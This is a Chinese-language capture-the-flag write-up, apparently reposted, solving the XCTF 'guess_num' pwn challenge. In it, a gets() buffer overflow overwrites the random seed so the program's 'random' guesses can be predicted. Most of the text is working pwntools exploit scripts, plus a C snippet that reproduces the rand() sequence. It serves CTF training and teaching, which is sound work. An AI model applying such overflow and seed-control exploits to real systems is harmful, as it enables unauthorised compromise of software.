[攻防世界 pwn]——guess_num

• 題目地址: https://adworld.xctf.org.cn/
• 題目:
  

checksec一下,開啟了NX, canary, PIE 好家伙

在IDA中發現


我們只要利用gets函數將seed[0]給覆蓋掉就可以了, 間距為0x20

用C語言寫個小demo

#include <stdio.h> #include <stdlib.h> int main() {int n, b;srand(0);for (size_t i = 0; i < 10; i++){b = rand() % 6 + 1;printf("%d\n", b);}system("pause");return 0; }

找到隨機數為

所以exploit為

from pwn import * p = process("./Pwn") #p = remote("111.200.241.244",40822) #gdb.attach(p, "b *0x0000D2D") payload = 'a' * (0x30 - 0x10) + p64(0) p.sendlineafter("Your name:", payload) rand = ['3','4','5','2','6','2','2','6','5','1'] for i in range(10):p.sendlineafter("Please input your guess number:",rand[i]) p.interactive()

信心滿滿結果竟然不可以。不過既然將seed[0]的值給確定了,我們就可以一個一個嘗試了,孩子哭了;不知道為什么不可以,有沒有師傅解答一下

exploit

from pwn import * p = process("./Pwn") #p = remote("111.200.241.244",40822) #gdb.attach(p, "b *0x0000D2D") payload = 'a' * (0x30 - 0x10) + p64(0) p.sendlineafter("Your name:", payload) rand = ['3','4','5','2','6','2','2','6','5','1'] p.sendlineafter("Please input your guess number:",'2') p.sendlineafter("Please input your guess number:",'5') p.sendlineafter("Please input your guess number:",'4') p.sendlineafter("Please input your guess number:",'2') p.sendlineafter("Please input your guess number:",'6') p.sendlineafter("Please input your guess number:",'2') p.sendlineafter("Please input your guess number:",'5') p.sendlineafter("Please input your guess number:",'1') p.sendlineafter("Please input your guess number:",'4') p.sendlineafter("Please input your guess number:",'2') p.interactive()

在大佬點撥下, 原來是Linux和window產生的隨機數是不一樣的,這該死的東西。

from pwn import * p = process("./Pwn") #p = remote("111.200.241.244",40822) #gdb.attach(p, "b *0x0000D2D") payload = 'a' * (0x30 - 0x10) + p64(0) p.sendlineafter("Your name:", payload) rand = ['2','5','4','2','6','2','5','1','4','2'] for i in range(10):p.sendlineafter("Please input your guess number:",rand[i]) p.interactive()

總結

以上是生活随笔為你收集整理的[攻防世界 pwn]——guess_num的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。